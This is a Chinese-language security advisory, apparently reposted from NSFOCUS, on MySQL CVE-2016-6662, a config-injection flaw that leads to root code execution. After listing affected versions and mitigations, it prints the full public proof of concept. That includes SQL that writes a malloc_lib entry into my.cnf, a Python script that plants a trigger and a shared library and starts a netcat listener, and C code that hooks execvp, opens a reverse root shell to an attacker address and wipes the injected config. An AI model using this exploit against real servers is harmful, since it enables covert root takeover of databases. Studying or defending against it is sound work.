MySQL 0Day漏洞出现 该漏洞可以拿到本地Root权限 绿盟科技发布防护方案-阿里云开发者社区

开发者社区> 数据库> 正文

MySQL 0Day漏洞出现 该漏洞可以拿到本地Root权限 绿盟科技发布防护方案

简介:

2016年9月12日, legalhackers.com网站发布了编号为CVE-2016-6662的0day漏洞公告 。由于该漏洞可以获得MySQL服务器的Root权限,且影响MySql5.5、5.6、5.7乃至最新版本,绿盟科技安全团队发布高级威胁预警通告,这意味着该漏洞影响范围比较广,危害严重,利用难度较低,绿盟科技将在7*24小时内部应急跟踪,24小时内完成技术分析、产品升级和防护方案。

该漏洞可以允许攻击者远程向MySQL配置文件(my.cnf)注入恶意的环境配置,从而导致严重后果。该漏洞将影响以默认方式进行配置的所有版本的MySQL服务器,涵盖5.7、5.6和5.5,包括最新版本。此外,包括MariaDB和PerconaDB在内的MySQL分支也在影响范围内。攻击者既可以通过本地方式,也可以通过远程方式进行漏洞利用。

绿盟科技威胁预警级别

高级:影响范围比较广,危害严重,利用难度较低,7*24小时内部应急跟踪,24小时内完成技术分析、产品升级和防护方案。

%E7%BB%BF%E7%9B%9F%E7%A7%91%E6%8A%80%E5%

影响的版本

  • MySQL版本 <= 5.7.15
  • MySQL版本 <= 5.6.33
  • MySQL版本 <= 5.5.52

不受影响的版本

  • 无。

MySql 0Day漏洞修复方法

  1. Oracle官方尚未发布补丁,作为暂时的缓解策略,MySQL用户应该做到以下两点:
    • 确保MySQL的配置文件不被MySQL用户所拥有;
    • 以root用户身份创建一个虚假my.cnf文件。
  2. MySQL的两个分支MariaDB和PerconaDB已经发布了补丁,请升级到最新版本,

MySql 0Day漏洞防护方案

产品防护

已经购买了绿盟科技防护类产品服务的客户可以通过产品升级进行防护。

  1. 使用绿盟科技防护类产品WAF/IPS/IDS/NF进行防护。
  2. 使用绿盟科技的远程评估系统RSAS进行安全评估。

防护服务

  1. 短期服务:绿盟科技工程师现场处理。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
  2. 中期服务:提供 3-6个月的风险监控与巡检服务。根除风险,确保事件不复发。
  3. 长期服务:基于行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务)。

MySql 0Day漏洞分析

攻击者在仅拥有SELECT/FILE的权限下,可以利用此漏洞实现ROOT提权 ,执行任意代码,进而完全控制MySQL数据库和服务器。

MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。以Debian系统为例,MySQL默认安装后mysqld_safe脚本的部分内容如下:

[...]

# set_malloc_lib LIB

# - If LIB is empty, do nothing and return

# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib

#   then pkglibdir.  tcmalloc is part of the Google perftools project.

# - If LIB is an absolute path, assume it is a malloc shared library

#

# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when

# running mysqld.  See ld.so for details.

set_malloc_lib() {

malloc_lib="$1"

if [ "$malloc_lib" = tcmalloc ]; then

pkglibdir=`get_mysql_config --variable=pkglibdir`

malloc_lib=

# This list is kept intentionally simple.  Simply set --malloc-lib

# to a full path if another location is desired.

for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do

for flavor in _minimal '' _and_profiler _debug; do

tmp="$libdir/libtcmalloc$flavor.so"

#log_notice "DEBUG: Checking for malloc lib '$tmp'"

[ -r "$tmp" ] || continue

malloc_lib="$tmp"

break 2

done

done

[...]

我们可以通过使用--malloc-lib=LIB参数在服务加载时,预先加载一个库文件,这个参数同样可以通过配置文件my.cnf来设置,设置位置在“[mysqld]”或“[mysqld_safe]”部分。

此漏洞的本质是攻击者可以通过log函数利用不恰当的权限设置改写MySQL的配置文件my.cnf,将恶意的库文件路径插入到配置文件my.cnf中,从而加载该恶意库文件,当mysql服务重启时,就能以root权限执行任意代码。

向my.cnf文件写入恶意库文件的具体实现如下:

(1)执行下述MySQL命令。

mysql> set global general_log_file = '/var/lib/mysql/my.cnf'; 
mysql> set global general_log = on; 
mysql> select ' 
'> 
'> ; injected config entry 
'> 
'> [mysqld] 
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so 
'> 
'> [separator] 
'> 
'> '; 
1 row in set (0.00 sec) 
mysql> set global general_log = off;

(2)命令执行后,可以看到my.cnf的文件末尾处,被附加了如下的内容:

# cat /var/lib/mysql/my.cnf 
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: 
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock 
Time                 Id Command    Argument 
160728 17:48:22        43 Query     select ' 

; injected config entry 

[mysqld] 
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so 

[separator] 


160728 17:48:23        43 Query     set global general_log = off

其中“[mysqld]”中的“malloc_lib”选项是关键!当my.cnf配置文件被mysqld_safe脚本加载处理时,mysqld_safe会读取malloc_lib的共享库路径,将其添加到LD_PRELOAD环境变量。mysqld守护进程启动时,此malloc_lib共享库可以优先加载执行,攻击者可以利用这个机会在共享库中执行任意代码,并hook一些函数调用,清理被篡改的配置文件,使得mysqld守护进程正常执行,不会崩溃,使得用户难以察觉。

该本地提权漏洞的完整利用过程如下:

  1. 攻击者利用SQL注入或已有的低权限账号登录MySQL服务器,可以执行低权限的命令。
  2. 通过文件上传或DUMPFILE命令将恶意malloc_lib共享库文件上传到目标服务器 

// 将二进制共享库文件内容转化为十六进制形式 
hookandrootlib_path = './mysql_hookandroot_lib.so' 
with open(hookandrootlib_path, 'rb') as f: 
content = f.read() 
hookandrootlib_hex = binascii.hexlify(content) 

// 通过DUMPFILE命令写入目前服务器 
SELECT unhex("hookandrootlib_hex") INTO DUMPFILE '/var/lib/mysql/mysql_hookandroot_lib.so'

3. 通过设置触发器,提升用户权限,为写入my.cnf文件做准备。

ELIMITER // 
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf 
AFTER INSERT 
ON `poctable` FOR EACH ROW 
BEGIN 

DECLARE void varchar(550); 
set global general_log_file='/var/lib/mysql/my.cnf'; 
set global general_log = on; 
select " 

# 0ldSQL_MySQL_RCE_exploit got here :) 

[mysqld] 
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' 

[abyss] 
" INTO void; 
set global general_log = off; 

END; // 
DELIMITER ;

4. 触发触发器,使得恶意配置被写入my.cnf文件

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server 
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded") 
try: 
cursor = dbconn.cursor() 
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  ) 
except mysql.connector.Error as err: 
errmsg("Something went wrong: {}".format(err)) 
shutdown(6) 

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point. 
try: 
cursor = dbconn.cursor() 
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" ) 
except mysql.connector.Error as err: 
errmsg("Something went wrong: {}".format(err)) 
shutdown(6)

5. 当MySQL重启时(包括系统更新),就会使得mysqld_safe读取my.cnf文件,进而加载执行恶意共享库文件,从而执行任意代码,由于mysqld_safe默认以root权限执行,所以加载执行的共享库也拥有root权限,可以用来提权。

MySql 0Day漏洞验证程序

legalhackers.com网站公布了一个功能受限的POC,代码如下,它仅能做到以低权限向MySQL数据库的配置文件添加内容:

1、0ldSQL_MySQL_RCE_exploit.py

intro = """

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski

http://legalhackers.com

"""

import argparse

import mysql.connector

import binascii

import subprocess

def info(str):

print "[+] " + str + "\n"

def errmsg(str):

print "[!] " + str + "\n"

def shutdown(code):

if (code==0):

info("Exiting (code: %d)\n" % code)

else:

errmsg("Exiting (code: %d)\n" % code)

exit(code)

cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"

process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

(result, error) = process.communicate()

rc = process.wait()

# where will the library to be preloaded reside? /tmp might get emptied on reboot

# /var/lib/mysql is safer option (and mysql can definitely write in there ;)

malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'

# Main Meat

print intro

# Parse input args

parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')

parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')

parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')

parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')

parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')

parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')

args = parser.parse_args()

# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions

# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)

info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))

try:

dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)

except mysql.connector.Error as err:

errmsg("Failed to connect to the target: {}".format(err))

shutdown(1)

try:

cursor = dbconn.cursor()

cursor.execute("SHOW GRANTS")

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(2)

privs = cursor.fetchall()

info("The account in use has the following grants/perms: " )

for priv in privs:

print priv[0]

print ""

# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld

# process execution and run our code (Remote Root Shell)

# Remember to match the architecture of the target (not your machine!) otherwise the library

# will not load properly on the target.

info("Compiling mysql_hookandroot_lib.so")

cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"

process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

(result, error) = process.communicate()

rc = process.wait()

if rc != 0:

errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)

print error

shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX

info("Converting mysql_hookandroot_lib.so into HEX")

hookandrootlib_path = './mysql_hookandroot_lib.so'

with open(hookandrootlib_path, 'rb') as f:

content = f.read()

hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG

# Decoded payload (paths may differ):

"""

DELIMITER //

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf

AFTER INSERT

ON `poctable` FOR EACH ROW

BEGIN

DECLARE void varchar(550);

set global general_log_file='/var/lib/mysql/my.cnf';

set global general_log = on;

select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]

malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]

" INTO void;

set global general_log = off;

END; //

DELIMITER ;

"""

trigger_payload="""TYPE=TRIGGERS

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'

sql_modes=0

definers='root@localhost'

client_cs_names='utf8'

connection_cl_names='utf8_general_ci'

db_cl_names='latin1_swedish_ci'

""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function

trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file

TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB

info("Saving trigger payload into %s" % (TRG_path))

try:

cursor = dbconn.cursor()

cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(4)

# Save library into a trigger file

info("Dumping shared library into %s file on the target" % malloc_lib_path)

try:

cursor = dbconn.cursor()

cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server

info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")

try:

cursor = dbconn.cursor()

cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`.

# The payload will write to the mysql config file at this point.

info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )

try:

cursor = dbconn.cursor()

cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(6)

# Check on the config that was just created

info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )

try:

cursor = dbconn.cursor()

cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(2)

finally:

dbconn.close()  # Close DB connection

print ""

myconfig = cursor.fetchall()

print myconfig[0][0]

info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)

info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )

listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])

listener.communicate()

print ""

# Show config again after all the action is done

info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)

info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")

# Shutdown

shutdown(0)

2、mysql_hookandroot_lib.c


 /*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.

The library is meant to be loaded by mysqld_safe on mysqld daemon startup

to create a reverse shell that connects back to the attacker's host on

6603 port (mysql port in reverse ;) and provides a root shell on the

target.

mysqld_safe will load this library through the following setting:

[mysqld]

malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called

during the startup of mysqld process.

It will then fork a reverse shell and clean up the poisoned my.cnf

file in order to let mysqld run as normal so that:

'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.

~~

Discovered/Coded by:

Dawid Golunski

http://legalhackers.com

~~

Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <unistd.h>

#include <string.h>

#include <dlfcn.h>

#include <stdlib.h>

#include <stdarg.h>

#include <fcntl.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#define ATTACKERS_IP "127.0.0.1"

#define SHELL_PORT 6033

#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };

typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);

static execvp_func_t old_execvp = NULL;

// fork & send a bash shell to the attacker before starting mysqld

void reverse_shell(void) {

int i; int sockfd;

//socklen_t socklen;

struct sockaddr_in srv_addr;

srv_addr.sin_family = AF_INET;

srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port

srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip

// create new TCP socket && connect

sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));

for(i = 0; i <= 2; i++) dup2(sockfd, i);

execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

exit(0);

}

/*

cleanup injected data from the target config before it is read by mysqld

in order to ensure clean startup of the service

The injection (if done via logging) will start with a line like this:

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

FILE *conf;

char buffer[2000];

long cut_offset=0;

conf = fopen(INJECTED_CONF, "r+");

if (!conf) return 1;

while (!feof(conf)) {

fgets(buffer, sizeof(buffer), conf);

if (strstr(buffer,"/usr/sbin/mysqld, Version")) {

cut_offset = (ftell(conf) - strlen(buffer));

}

}

if (cut_offset>0) ftruncate(fileno(conf), cut_offset);

fclose(conf);

return 0;

}

// execvp() hook

int execvp(const char* filename, char* const argv[]) {

pid_t  pid;

int fd;

// Simple root PoC (touch /root/root_via_mysql)

fd = open("/root/root_via_mysql", O_CREAT);

close(fd);

old_execvp = dlsym(RTLD_NEXT, "execvp");

// Fork a reverse shell and execute the original execvp() function

pid = fork();

if (pid == 0)

reverse_shell();

// clean injected payload before mysqld is started

config_cleanup();

return old_execvp(filename, argv);

}

声明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。



原文发布时间:2017年3月24日

本文由:绿盟科技博客 发布,版权归属于原作者

原文链接:http://toutiao.secjia.com/mysql-0day-cve-2016-6662

本文来自云栖社区合作伙伴安全加,了解相关信息可以关注安全加网站

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
数据库
使用钉钉扫一扫加入圈子
+ 订阅

分享数据库前沿,解构实战干货,推动数据库技术变革

其他文章